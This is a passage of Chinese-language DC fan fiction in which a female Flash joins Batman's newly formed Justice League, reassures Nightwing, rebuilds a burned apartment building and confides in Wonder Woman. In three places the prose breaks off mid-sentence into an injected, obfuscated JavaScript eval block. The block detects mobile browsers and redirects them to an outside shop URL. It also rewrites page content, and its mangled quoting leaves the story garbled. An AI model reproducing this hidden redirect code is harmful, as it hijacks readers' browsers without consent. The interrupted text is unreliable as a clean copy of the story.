“希望不是后者,否则你会跑回家哭鼻子的。”伊德瑞斯说。 “我当然是期待大家能一直合作下去了。”巴莉说,“其实我没想到会收到这个邀请——不是说它不合理,这个组队的想法简直太棒了——只是我从没想到自己有资格被蝙蝠侠邀请,加入有神奇女侠、超人和蝙蝠侠在的队伍。” “因为你觉得自己仍然只是个新手吗?”伊德瑞斯问,“你已经是中心城的骄傲了。蝙蝠侠既然发出邀请,说明他一定认真了解过你的经历,并且非常认可。” “和他们相比,我还差得远。”巴莉叹了口气,“你也得承认,中心城的坏蛋们只是在搞一些小型犯罪,抢银行、劫运钞车之类的,完全没有统治世界的野心。救灾方面也是,中心城很少有人埋设炸弹,也没有从天而降的外星飞船撞破大楼。” 她发现自己好像是在立flag,赶紧补充一句:“虽然这样很好啦,我希望保持下去。我只是想说,这意味着我缺少经验。” 伊德瑞斯摇头笑了:“我觉得你的速度优势已经强到可以降维打击了。技巧只是锦上添花,不是决定性因素。” “你只是在鼓励我。”巴莉没有完全买账。 “你只是在紧张。”伊德瑞斯一针见血地指出。 巴莉被说中了心思,不吭声了。 她清楚自己心里不安的根源。夜翼比她出现得更早、经验也更丰富,却没有收到蝙蝠侠的邀请。在这种情况下,她难免会冒名顶替综合症发作,担心蝙蝠侠选错了人,担心队友会对自己感到失望。 巴莉懊悔自己没有在蝙蝠侠离开前想到这个问题,错过了最佳提问时间。如果现在用通讯器去问,那就显得太奇怪了。 “我们打个赌吧,我相信团队里的每个人都会认可你的。”伊德瑞斯笃定地说。 “赌什么?”巴莉问。 “赌一顿晚餐吧。” “好吧。但很显然,我得希望自己输掉这个赌约。”巴莉说。 几天后,就在巴莉忍不住想打开通讯器去询问蝙蝠侠的进展时,她收到了蝙蝠侠的简短通知:“明天晚上七点,哥谭韦恩街三十五号。” 巴莉立刻搜索地址,发现那是一栋被列入保护名录的历史建筑,所有者是韦恩集团。 从卫星图片来看,那栋楼立在街角,外立面是典型的旧哥谭风格:深色砖石、狭长窗户、尖顶装饰,像一块从上个世纪投下来的阴影。 “这也太符合蝙蝠侠的刻板印象了吧。”巴莉喃喃自语,“如果蝙蝠侠当场将我们全部转化成血族,我也不会感到惊讶了。” 第二天,巴莉提前十分钟抵达指定地点。街道空旷而安静,她左右看了看,迅速推门进去。 门后不是想象中的大厅,而是一间精致的小门厅。一个黑衣老人站在那里,在见到闪电侠后微微欠身:“晚上好,闪电侠。” “晚上好。”巴莉下意识地说,同时强烈怀疑自己是不是走错了地方,误入某种只接待亿万富翁的私人会所,否则实在无法解释门口这位侍者那种无可挑剔的优雅举止,以及标准到可以当教材的英伦腔。 如果老人下一秒变出一个银制托盘,掀开圆顶盖子,里面端端正正放着一张写有Wi-Fi密码的纸片,她也不会感到震惊的。 “我是阿尔弗雷德·潘尼沃斯,韦恩先生的管家和代理人。我代表他出席本次会议。”老人自我介绍。 原来是赞助者派来的代表。不过这也意味着韦恩先生不会出现了。 但巴莉原本也没预期韦恩先生会出现,所以也谈不上感到失望。她站在原地,环顾这间不算宽敞的小门厅,迟疑地问:“所以……我们要在这里等其他人吗?” 她目测了一下空间,开始认真地担心起来:要是再来两个人,这里就要像早高峰的电梯一样拥挤了。 “有几位客人已经到了,他们都在大厅。”阿尔弗雷德轻轻侧身,露出身后的门。 “你不一起进去吗?”巴莉奇怪地问。 “我习惯在门口迎接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“叫我戴安娜就好。”神奇女侠和众人打过招呼后,在蝙蝠侠右手边落座,姿态自然,带着与生俱来的领导者风范,“看起来,还差两个人?” “我没来晚吧。”一个明亮的声音响起,超人快步走到桌旁, “离七点还有两分钟。”蝙蝠侠说。 超人在蝙蝠侠左手边坐下后,几人开始礼貌而疏离地聊起天来,话题安全得像公共场合的天气寒暄。空气里浮着一种微妙的气氛:所有人都在等待最后的拼图——传说中的绿灯侠。 七点十分,大门再次打开。一个身穿绿色制服、戴着绿色面具的男人匆匆进来,连声道歉:“不好意思,我刚回地球,手表时间还没调好。” 他在巴莉左边一屁股坐下,打量起在场的每一个人。 一分钟后,阿尔弗雷德也走进大厅,坐在神奇女侠旁边。 蝙蝠侠环视圆桌一圈,目光掠过每一个人。 “人齐了。”他说,“谢谢各位前来。我先介绍一下每个人的基本信息。” 巴莉这才真正了解另外几位队友的情况。 火星猎人拥有许多超能力,其中最令人瞩目的是心灵感应。他郑重承诺会尊重隐私、严守秘密。 海王,亚瑟·库瑞,是亚特兰蒂斯的国王,但拥有一半人类血统。他可以控制水,还能号令水中生物。 而迟到的绿灯侠是纯粹的地球人类,却加入了一个外星组织,依靠那枚能构筑万物的绿色戒指作战。 巴莉还注意到一件事:那些她以为属于“常识”的知识,其实并不是人人都清楚。比如神奇女侠来自天堂岛,是亚马逊公主、半神半人的存在;再比如超人是氪星的遗孤——这些信息对绿灯侠来说全是新鲜内容,他听得格外认真,就差拿出个小本记录了。 33.第 33 章 巴莉十分好奇,绿灯侠究竟离开地球多久了,竟然错过了如此多的信息。相比之下,自称在缅因州的慈恩港长大的亚瑟都不至于如此消息闭塞——那地方人迹罕至,最显眼的建筑就是一座孤零零的灯塔,但他们显然有电视,而且充分利用了它。 大家各自补充了几句愿意公开的背景信息,又闲聊了几句之后,蝙蝠侠开始阐述他对这支队伍的构想:“我们不是军队,也不是政府机构。这里没有上下级,也没有强制命令链——虽然我建议大家在战斗中听从我的指挥。” 在有人发出抗议声之前,蝙蝠侠已经自顾自地说下去:“我们不干预各国政治,也不受任何国家管辖。我们的目的是保护人类整体。平时我们各自行动,在需要时一起应战。日常中,所有人都可以自由发起小规模组队,或要求情报共享和技术支持。总部暂时设置在这里。” 他说完,目光缓缓扫过每一个人:“大家有什么意见吗?” 最先开口的是戴安娜。她审慎地问:“这座房子安全吗?我来的时候街上没有行人,但这条街不会永远无人经过。何况,这里是哥谭。” “我们不是秘密结社,而是公开组织,不是吗?”亚瑟立刻提出质疑,“有人看见我们又有什么关系?” “也许你没有什么敌人,”超人露出为难、甚至可以说是有点痛苦的表情,“但我们或多或少都有一些宿敌,那些人的共同特点是偏执。你肯定不希望他们来此地共襄盛举,否则这里会永无宁日。” 蝙蝠侠点头:“我请一位魔法师对这里施加了混淆认知的法术,足以瞒过普通人,但这不是长久之计。我计划未来迁到更隐蔽、更适合长期运作的地点,不过具体位置尚未确定。” “那不如放在太空里。”绿灯侠忽然说话了,“在那里,就算所有人都能看到又如何,反正他们也去不了。” “这个建议很好,”蝙蝠侠说,“还能避免美国政府对我们主张管辖权。我会调研现有的卫星发射技术,以及太空飞船技术。” 他说这句话时的样子,就像是在说要买一台胶囊咖啡机一样轻松,甚至没有看一眼赞助者的代理人征求许可。 反而是巴莉等人不约而同地看向阿尔弗雷德,生怕他一句话否决这个建议。老人表情不变,言简意赅地说:“我没有异议。” 尽管赞助者表现出视金钱如废纸的气派,但一贯勤俭持家、精打细算的超人还是赶紧说:“没必要发射,那太浪费钱了。太空总部建好之后,我直接把它送到指定的轨道上。” 巴莉提问:“如果在太空里的话,那我们每次都要坐飞船去总部吗?这会不会太科幻了?” 她其实真正想说的是“这会不会太奢侈了”,毕竟燃料的价格将是天文数字。但她临时改了口,因为她担心阿尔弗雷德不知道什么叫做“奢侈”,就像一战前的英国贵族不知道什么叫做“工作”一样。 出于节省经费的本能,她已经开始思考起技术可行性:如果穿上宇航服,她能不能靠着神速力冲进太空,抵达未来的太空总部?如果带着蝙蝠侠或其他同伴一起呢? “我可以将氪星的传送技术分享给你们。”超人慷慨地说,用一个更科幻的方式彻底解决了问题。 巴莉恍惚了。这种亲身体会科学进步的速度简直令人目眩神迷。 不,这已经不是进步了,这是跃迁。 总部的问题决定之后,蝙蝠侠继续推进议程:“接下来是队伍的名字,大家有什么想法吗?” 巴莉积极发言,说出自己想了好几天的名字:“正义联盟。” 没人提出反对意见,这个名字就这样被通过了。 “虽然这是一个结构松散的组织,但名义上还是应该有一名主席。”蝙蝠侠继续道,“我推举超人。” “什么?”超人显然事先毫不知情,“是你邀请我们来的。我以为你会担任主席。” “我压根不打算成为候选人。”蝙蝠侠语气平静,“我更适合担任顾问。” “顾问?”亚瑟费解地问,“这算是什么职位?” 绿灯侠抢答:“这是个编外职位。一般的公司顾问主要是挂个名字,只负责偶尔开会、按月领钱就行了。” 他言之凿凿,怨气冲天,显然有过不堪回首的职场经历。 戴安娜叹了口气:“人类总喜欢在称呼上做文章。” 她分享起自己的观察:“冷战之后,美国和苏联都喜欢向其它国家派出所谓的‘军事顾问’。起初我以为这是类似技术指导的角色,后来才发现,他们派出的数量往往以千人为单位,有时甚至高达数万人。” “什么意思?”绿灯侠露出茫然的神色。 “她的意思是,”火星猎人说,“顾问并不一定意味着边缘角色,有时它恰恰意味着影响力,只是以更低调、更不引人警惕的方式存在。顾问将会参与决策、提供方向、在关键时刻修正偏差。对某些人而言,这是更能发挥作用的位置。” 戴安娜和火星猎人的话帮蝙蝠侠解了围,绿灯侠没有再纠结这个问题。 蝙蝠侠进一步解释自己的理由:“超人的形象更适合作为这支队伍的门面……” “你是说他看起来像是童子军一样天真无邪、阳光可爱。”亚瑟插嘴,擅自解读蝙蝠侠的话。不过他的语气中没有任何恶意,只是随口调侃一句。 “……以及,这会显示他勇于承担自己作为氪星人引来敌人的责任。”蝙蝠侠面无表情地说完,没有理会亚瑟的评论。 “蝙蝠侠,你想的太周到了。”超人有点感动,没有继续推辞。 “我们开始投票吧。”蝙蝠侠说,“一人一票。” 几乎没有犹豫,众人一致投了赞成票。理由也很简单:如果超人做得不好,他们随时可以提出弹劾。 “我会努力做好这份工作的。”超人对这个虚职表现出了极认真的态度,“谢谢大家愿意和我一起抵挡氪星侵略者。” “倒也不全是为了你。”戴安娜笑着说,“地球是我们共同的家。” “地球是我工作的一部分。”绿灯侠很煞风景地说。 蝙蝠侠问:“大家还有什么想讨论的吗?” “我们什么时候向世界宣布这件事?”巴莉期待地说。 “我的建议是,在第一次战斗之后。”蝙蝠侠说。 “为什么?”超人困惑地望向蝙蝠侠,“我们能给人类带来安心和希望,让他们不那么恐慌。” “现在公布,只会引来无谓的讨论和攻击。”蝙蝠侠平静地说,“公众会质疑我们的合法性、动机和权力边界,政府会试图介入和掌控我们,媒体会为了吸引眼球而人为制造对立。与此同时,我们没有任何实际战绩作为筹码。” 超人本能地想替媒体辩解几句,比如解释并不是所有记者都会恶意揣测,也不是所有报道都会煽风点火,但话到嘴边还是咽了回去。 虽然肯特记者以及《星球日报》的同仁们恪守职业道德,追求事实与公正,可他们终究只是整个行业中的一部分。 在更大的版图里,有人追逐真相,也有人追逐流量;有人谨慎核实,也有人急于下结论。 最后,超人只是简单地赞同道:“那就把新闻发布会留到我们的第一次胜利之后吧。” “我同意。我已经能想象到那些政客的嘴脸了。”亚瑟冷哼一声。 巴莉点点头:“我知道了,没有异议。” 见上一个问题已经尘埃落定,戴安娜说:“以后每次开会,潘尼沃斯先生都要代表赞助者来监督我们吗?” 她顿了一下,问出真正想问的话:“如果潘尼沃斯先生反对我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200271|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的某项决定,那该如何处理?” “除非你们,我是说正义联盟特别要求,我不会来参会。”阿尔弗雷德说,“韦恩先生特意交代过我,不许反对蝙蝠侠的任何决定。” 说最后一句话的时候,他的语气中带着点微妙的不满,在场的所有人都听出来了。 “你的意思是,如果其他成员和蝙蝠侠的决定不一致,你会站在蝙蝠侠那边?”超人敏锐地捕捉到了阿尔弗雷德用词的变化。 “是的。”阿尔弗雷德坦然地说,“但韦恩先生只是赞助者,并不拥有在正义联盟中的投票权,所以无论韦恩先生和我站在哪一边,都不会影响什么。” 绿灯侠倒吸一口气:“韦恩先生真是个大慈善家。听起来,他只负责出钱,对我们一点约束都没有。” “老爷一向知人善用,用人不疑。”阿尔弗雷德微笑着说。 “或者说是个傻白甜。”亚瑟大咧咧地说,“我欣赏他。” “我们会自我约束的。”超人说,心里忍不住感叹起这两位队友的情商,他们一定稳坐倒数第一和倒数第二的位置。“不会辜负这份信任。” 会议结束后,众人陆续离开,巴莉刻意落在最后,想私下和蝙蝠侠说几句话。 她悄悄地看了一眼还没离开的阿尔弗雷德,犹豫着要不要请对方暂避。老人立刻察觉到了,先她一步开口:“我得回去向老爷汇报了。” 当大厅只剩下巴莉和蝙蝠侠时,巴莉吞吞吐吐地说:“我能问问,你对正义联盟成员的选择标准是什么吗?” “有责任感、有能力。”蝙蝠侠说。 “那我能推荐新成员吗?”巴莉问,“我认识的一个人绝对符合你的标准。” “当然。”蝙蝠侠在脑海中快速回忆着巴莉的社交圈子,猜测她会推荐谁。也许是那个叫彼得的男孩,但他是X战警的人…… “夜翼。”巴莉说,“我知道你认识他,但不明白为什么没有邀请他加入。” “他拒绝了。”蝙蝠侠说。 “啊?”巴莉十分震惊,又忽然意识到了什么,“我不是你第一个邀请的人,夜翼才是。那火星猎人呢?你之前没提过要邀请他。” 话一出口,她就意识到自己问得有些越界,赶紧补救:“我不是在意顺序,那不重要。我只是担心你会不会漏掉什么合适的人选。不过既然他拒绝了,那一定有他的理由。” “是的,我最先问了夜翼。至于火星猎人,他是主动来找我的。”蝙蝠侠没有任何不耐烦,逐一回答了巴莉的问题。 “我知道了。”巴莉松了口气,“那就是说,我可以告诉夜翼这件事了。” “你一直都可以告诉他。”蝙蝠侠有些奇怪地看着巴莉,“这不算什么秘密。” “可如果你没有邀请他,他却是从我这里听说的,那他可能会失落吧。”巴莉说,“不过无论如何我还是得告诉他,因为我不希望他是从新闻上才知道这件事的。哎呀,总之我为此纠结了好久。幸好你已经邀请过他了。” “夜翼不是这种性格。”蝙蝠侠在心里感到好笑。 “我知道他不是。”巴莉老实承认,“但问题不在他,而是在我。他肯定会为我感到高兴,并鼓励我,而我会替他感到委屈。” “为什么会委屈?”蝙蝠侠问,“正义联盟终究不可能吸纳世界上所有超级英雄。没有加入的人,并不代表没有被认可。” 巴莉知道蝙蝠侠说的对。正义联盟不是奖章,也不是排行榜,它只是一个在特定时刻、基于特定目标而组建的团队。在未来,即使正义联盟发展壮大,也不可能将所有人都招进来。 “我得走了。”巴莉说,“谢谢你,蝙蝠侠。晚安。” 下一秒,蝙蝠侠体会到了交谈对象瞬间消失的感觉。不过至少巴莉礼貌地告了别。 34.第 34 章 巴莉急匆匆地跑到布鲁德海文,成功地埋伏到一只大蓝鸟。 好吧,“成功埋伏”这个说法多少掺了水分。夜翼更像是一个明知道窗帘后藏着小狗、却依然敬业地配合演出的人类,他猛地回头,夸张地向后跳了半步,然后捂着胸口声称自己心跳快得要晕倒了,表演之逼真,足以角逐奥斯卡奖。 你问人类是怎么知道窗帘后面有小狗的? 因为小狗只有上半个脑袋被窗帘蒙住,本着“我看不见你,你就看不见我”的原则,坚信自己的伪装天衣无缝,完全没意识到自己的下半张脸和身体完全暴露在外面。 这个原则是有科学依据的。根据光路可逆性原理,只要存在一条“你能看到他”的光路,就必然存在一条“他能看到你”的光路。 小狗显然对理论进行了错误拓展,认为反过来说,只要存在一条“你看不到他”的光路,就必然存在一条“他看不到你”的光路。可惜物理学并不会因为决心坚定而自动配合。 巴莉当然知道自己隐藏得不够好,也清楚迪克是在演戏,但他那种温柔、无辜、还带着一点点纵容的微笑,让她不想去戳破。 她就当自己赢了这一次,得意洋洋地说:“我有很大的进步,对吧?” 这是她保持乐观心态的方式:不和别人比较,只和自己对比。只要今天比昨天更快一点、更有经验一些,那就是进步。 “当然,每次见到你,我都能感觉到你的成长。”夜翼说。 这不是安慰式的鼓励。他确实是这么想的。 中心城算不上群魔乱舞之地,但随着越来越多的超能力者出现,再加上威尔斯博士为巴莉量身定制的、逐步加码的训练计划,巴莉早已经不是当年那个会手忙脚乱的新手。 比如代号“热浪”的米克·罗里,他能发射带有高强度辐射或火焰的光束,第一次现身时气势汹汹地闯进银行,扬言要把整栋建筑烤化。 但闪电侠不但通过聊天稳定了米克的情绪,还成功地瓦解了他的计划。如果不是寒冷队长伦纳德突然现身支援,巴莉觉得自己那天很可能已经抓住了米克。 再比如代号为“吹笛手”的哈特利·拉维,他能用音乐操纵他人,而他加入无赖帮的原因令巴莉十分无语——因为他觉得生活太无聊了,想找点刺激。 不过,让巴莉有点郁闷的是,中心城的坏蛋们似乎把“成功挑战闪电侠”当成某种荣耀。他们纷纷把闪电侠视为对手,踊跃加入“无赖帮”。据说最新修订的组织规则里,第一条已经改成了“打倒闪电侠”。 当然,这里的“打倒”并不包括杀死闪电侠,甚至不打算真的伤害闪电侠,他们的目标只是在闪电侠的眼皮子底下成功地犯罪一次。 巴莉对此感到心情复杂,并将寒冷队长视为罪魁祸首。如果不是那个家伙创建了无赖帮,又怎么会有这么多无聊的人凑在一起,系统性地针对闪电侠? “你看起来心情很好。”迪克靠在墙上,望着巴莉的眼睛,“怎么,你抓住寒冷队长了?你上次发誓说,如果他落在你手里,你要把他绑在游乐场的转盘上,然后用神速力把他转到头晕,最后哭着向你道歉。” “很可惜,那依然只是一个美好的幻想。”巴莉撇撇嘴,“不过我确实很高兴。蝙蝠侠邀请我加入正义联盟,我答应了。” 她单手叉腰,十分神气地宣布:“这可是来自蝙蝠侠的认可——他认为我有能力保护地球。” “蝙蝠侠很有眼光。”迪克说,“如果是我来选,也一定会邀请你。” 他想起了什么,又故意慢悠悠地提问:“诶,你对此很高兴吗?你以前不是嫌弃蝙蝠侠很严肃,年纪很大吗?为什么会接受他的邀请?” 巴莉的表情一下子僵住了。 “首先,那不是嫌弃。”她紧张地左右看看,明明知道四周没人,还是下意识地担心被人听到他们的对话。然后,她迅速澄清:“那只是我在见到他之前的印象。刻板印象。” 她在最后四个字加上了重音。 “是吗?”迪克挑眉,仿佛在等着看她要怎么编下去。 巴莉瞪了他一眼:“我现在发现,他其实没那么严肃。就算他真的是个性格死板的人,我想我也不会拒绝的。” “因为你尊重老人?”迪克说。 “因为这个计划真的很好。”巴莉严肃地驳斥,“而且,我完全看不出来他的年龄,从二十岁到九十岁都有可能。” 迪克忍不住笑出声:“这个跨度也太大了。无论蝙蝠侠的年龄是多大,都会落在你划下的区间里。你永远可以说自己猜对了。” “至少我排除了他是一位百岁老人的可能。”巴莉抗议道。 “怎么排除的?”迪克费解地问,“九十岁和一百岁,肉眼真的能看出区别吗?” “直觉。”巴莉胡说道,“第一次亲眼见到他,我就知道,他绝对不会超过九十岁。” 玩笑过后,巴莉假装漫不经心地说:“如果布鲁德海文太忙,你可以喊我做后援。中心城离得不远,我很快就会过来。” 她认为夜翼拒绝加入正义联盟的原因可能是被双重工作占满了时间,担心如果再多一份任务难免顾此失彼。她很乐意帮忙分担一点,让迪克至少能多点睡觉时间。 “我知道。”迪克说,“但有些事情并不是速度能解决的。” 巴莉明白迪克是对的,有些事情他必须亲自去做。格雷森警官在社区活动里投入了大量的时间,一次次出现、一次次倾听,在日常的寒暄与帮忙中慢慢与许多人建立了友谊。他得到了信任,也因此得到了不少线报。 她跟着迪克去过几次,看见迪克蹲下身去和孩子们交谈,看见他鼓励一个不敢荡秋千的孩子:“你不冒险坠落,就永远不会知道自己能不能飞。别害怕,我会站在你身后接住你的。” 而在黑暗世界里,迪克竟然长久地维护着一个伪装身份,罗比·马龙。巴莉见过他化妆后的样子,那不只是容貌和发色的改变,连举止的风格都完全不同了。 这也让巴莉更加清楚地意识到,每个人的行事方式是不同的。迪克能够不露痕迹地融入街头混混之中,游走在穷凶恶极的罪犯之间,而她并不擅长于此。 不过那也没什么。闪电侠有闪电侠的方式,同样能把自己的社区照看得很好。 在对仍带着伪装的迪克说了自己的想法之后,对方脸上属于罗比·马龙的玩世不恭悄然退去,取而代之的是巴莉熟悉的、温暖又带着一点调侃意味的笑。 迪克说:“巴莉,你是独一无二的。” 他说完之后,觉得这句话听起来过于直白了,又掩饰性地补上一句:“每个超级英雄都是独一无二的。” “但我身上有你的影子。”巴莉没有察觉到他在那一瞬间的不自在,“你身上也有我的。我们互相影响了。” 迪克张了张嘴,没想好要说什么——不管是轻描淡写地否认,还是顺势再调侃一句,都显得不太合适。 然而巴莉已经自顾自地说下去了:“还有威尔斯博士,她教会了我很多。她是我见过的最聪明的人。如果这么说的话,其实你也受到了她的影响,我就是中间的导体。” 说到这里,她自己先笑起来,仿佛觉得这个比喻十分有趣。 迪克看着巴莉,无奈地闭上了嘴,却又忍不住也跟着笑起来。 他想,正是这样的巴莉,才会做出那件甚至登上了布鲁德海文新闻头条的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213804|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壮举。 一般来说,各个城市的报纸很少关注外地的超级英雄。除了阻止犯罪之外,巴莉平日里也做过很多次救援工作,通常只会出现在中心城本地新闻里,只有一次被外地媒体争相报道。 那是一个深夜,一栋老旧的公寓楼被大火吞没,火舌从窗户里翻卷而出,浓烟直冲天际,几公里外都能清晰看见那片不祥的灰黑色。 闪电侠及时赶到,在高温与坍塌的边缘间穿梭,把每一名住户都带离险境,又迅速地设置隔离带,避免火焰蔓延到周围的建筑。 没有人员伤亡,这是一场胜利。可当消防队完全控制住局面时,那座楼已经被烧得只剩焦黑的骨架了。 巴莉很饿,她想立刻冲去大肚汉堡餐厅点十人份的食物,但在离开之前,她又停住了脚步。 住户们站在街边,披着救援人员发放的毯子,脚边堆着仓促间带出来的杂物——那是他们剩下的全部家当了。他们神情恍惚地盯着废墟,眼中只剩茫然。孩子们缩在父母身边,脸上满是惶恐和无措。 这是一栋很老的公寓楼,属于市政租金管控计划的一部分,住在里面的都是收入微薄的家庭。他们买了租客保险,可保险赔偿的金额是有上限的,而市政一时找不到足够的临时安置房。 换句话说,在未来很长的一段时间里,他们失去了稳定的住处,即将面临流落街头的命运。 胜利忽然褪色了。 巴莉沉默地站了一秒,然后,她消失了。 她先去了仓库,吃下几根威尔斯博士为她制作的高热量能量棒——不好吃,但能迅速地补充消耗。 接着,她出现在图书馆,疯狂翻阅建筑相关的书籍。随后,她从各地凑齐材料,按照建筑规范重建了那座公寓,还顺手升级了通风结构和消防系统。 当第一缕晨光照在那栋“奇迹般复原”的公寓楼上时,它比之前更结实,也更安全。 起初,住户们并没意识到闪电侠究竟在忙些什么,而当他们终于反应过来时,心里甚至还来不及生出惊喜,便已被难以置信填满,怔怔地望着闪电侠为他们做这样一件疯狂的事。 当闪电侠站在崭新的楼顶上朝他们挥手示意时,欢呼声骤然爆发。 “差点忘了这个。”闪电侠的身影从楼顶消失,下一瞬出现在人群中。 闪电侠蹲下身,将一个布娃娃递给一个小女孩,后者心爱的玩偶落在火里没能带出来,在夜里哭了很久:“和你的有一点点差别,但这是我能找到的最像的了。” 小姑娘先是愣住,然后小心翼翼地将布娃娃抱进怀里:“谢谢你,闪电侠。” 闪电侠轻轻地拍了拍小姑娘的头,然后离开了。 伊德瑞斯已经作为记者来过现场,采访后回去写稿,并给巴莉发来消息,说乔在家里做了大餐等她。 而她也确实需要去吃一点真正的、正常的食物了。 可惜巴莉没有时间慢慢享受美食,回家后只能孤零零坐在餐桌旁,飞快地吃着饭,连给自己泡一杯茶的闲情逸致都没有,因为她还得赶去上班。 这天是工作日,乔看了看时间,来不及继续等巴莉,已经先去上班了,并在警局为迟到的巴莉打掩护。 他一边与同事寒暄,一边在心里暗自感叹:不知从什么时候起,这种掩护的小把戏,他竟然已经做得如此熟练。 埃迪猜到了几分,很默契地配合自己的搭档,将巴莉迟到的事情遮掩过去。 当法医巴莉背着巨大的工具箱赶到犯罪现场时,她看到了乔的得意眼色,以及埃迪松了口气的神情。这让她忍不住在心里偷笑。 哪怕日程再忙碌,她总能感受到那些微小的、温暖的默契与关心包围在身边。 35.第 35 章 在正义联盟的众人中,巴莉最先私下联系的是戴安娜。 戴安娜欣然应允了见面请求,带着巴莉去了一座罗马时代神庙的遗址。疯长的野草间,千年前的石柱仍然伫立在原地,石面被风与时间打磨得发白。 她们身上的制服颜色鲜艳,与这里格格不入,显得过分鲜活。好在这里人迹罕至,没有人会来评判。 如果此刻真的有其他人在场,那个人恍惚间会认为自己看到了一幅文艺复兴时期的油画——如血的夕阳缓慢下沉,天空被染成浓重的赤色。光影分明间,两位女性席地而坐,背后是古希腊柱廊的残余。 然后镜头稍微往旁边一移,就会看到一个明显不属于任何古典艺术风格的东西—— 一个银灰色的便携冰箱。 神话、文明与现代,在此刻奇妙又自然地交汇。 巴莉承认,自己只是个文化素养处于平均水平的当代美国人,知道一些希腊神话,知道“城邦”是什么意思,偶尔还能说几句拉丁谚语显示自己略有学识。但当她真正置身于跨越千年的遗迹之间时,历史长河仿佛在她眼前缓缓流淌,令她觉得自己的烦恼显得如此渺小。 她们在古老的石块边开始野餐。这里没有王座,没有会议桌,只有夕阳、三明治、水果和冰淇淋。 “我不想更改制服去刻意凸显女性特征,但又不知道该怎么让人们知道我是女性。”巴莉咬掉三明治的一角,“我原本希望会有人能自然地发现,但他们似乎直接认定了我的性别,然后就一直默认下去了。” “也许你可以直接说出来?”戴安娜温和地提议。 “我要不要等到正义联盟的第一次记者发布会,在全世界面前正式公布?”巴莉问。 戴安娜没有立即回答。她认真地看了巴莉好一会儿,反问道:“为什么要等呢?除非你并不想说,在为自己的犹豫寻找一个理由,所以才要设定一个更有仪式感的时间点。” “我好像……是在对这个世界生气。”巴莉叹了口气,“我可能是在等着有人发现这件事,而不需要由我开口。” 她盯着远处的落日,语气里带着点自己都觉得无理取闹的固执,还带着点没意识到的委屈。 “我们无法要求他人以我们期待的方式理解我们,也没有必要去要求。真正重要的是,你是否愿意为自己发声。”戴安娜缓缓地说,“当你希望别人‘自己意识到’时,你其实是在把主动权交出去。” 夕阳的光落在戴安娜的侧脸上,她看起来既像从神话中走出的神祇,也像一位无所畏惧的战士。 她看着巴莉,像是在看一个倔强又别扭的小孩子,而以她的年龄和阅历,她确实有资格这样看。她的双眼中带着岁月沉淀后留下的温柔和坚定。 戴安娜见过真正的战争,目睹过硝烟、鲜血、死亡与离别; 她见过偏见,经历过赤裸、直白、不加掩饰的轻视与傲慢,听过根深蒂固的成见; 她也体会过人类社会的自私、愚蠢、冷漠,甚至残忍。 可即便如此,她依然选择接受这个世界。不是天真地忽视缺陷,而是在看清缺陷之后,仍然愿意留下来。 那不是妥协,而是一种更强大的姿态:在失望之后依旧热爱,在愤怒之后仍然伸出手。 因为她同样体会过人类社会的美好,也相信人类会进步。 “这和你的真实身份一样,”戴安娜继续说,“对世人公开与否,从来都是你自己的决定。” 巴莉安静地听完,忽然说:“我可以问一个问题吗?如果太冒犯,请无视它。” “当然可以。”戴安娜回答。 “你在亚马逊长大,那里完全没有性别歧视,更不会有人质疑女性的能力。你是怎么忍受人类世界的?尤其是你刚出现在人类社会的时候,二战时期女性的地位比现在差得多。” “我没有忍受。”戴安娜莞尔一笑,“我在改变这个世界。这么说可能有点自大,但我相信,我的出现确实鼓励了一些女性。” “这一点毋庸置疑,我就是被你鼓励的其中一员。”巴莉说,“但你比人类强大得多,人类社会的规则对你来说不适用。而且我猜没有人敢在你面前大放厥词。” “其实我完全明白你的感受。”戴安娜顽皮地眨了眨眼睛,“告诉你一个秘密,我有一个人类身份,” “什么?”巴莉震惊得差点把手里的三明治掉到地上,“你为什么要这么做?” “因为这样很有趣,也能让我更深入地了解人类社会。”戴安娜说。“几十年里,我能清晰地感受到社会在进步,哪怕速度并不像我期待的那么快。” 她的语气坚定:“改变从来不是一瞬间的胜利,而是漫长的过程。每一个人,你和我,都是改变的一部分。” 巴莉若有所思地点点头。 “如果只是为了公布性别,专门开记者会显得过于正式。不如找个记者聊聊。”戴安娜说。 她对人类社会的运作规则相当熟悉,在各行各业都有熟人,主动提议道:“如果你没有合适的人选,我认识一位记者,专业、也懂分寸。” “我也认识一个。”巴莉露出轻松的笑容。她的语气不像是在讨论公关策略,更像是在说“我有个朋友”。 戴安娜也笑起来:“那就更好了。” 回到中心城后,巴莉立刻去报社找伊德瑞斯,请他为闪电侠定制一篇稿件,越快越好。 “没问题。”伊德瑞斯马上答应,“你希望我怎么写消息来源?‘闪电侠透露’?” “那样就等于暴露出你和闪电侠之间有联系了,会不会给你带来危险?”巴莉犹豫起来。 “‘消息灵通人士’?”伊德瑞斯又想出一个建议,“经典、模糊、好用。” “听起来这个人的消息也太灵通了。”巴莉又一次否决。 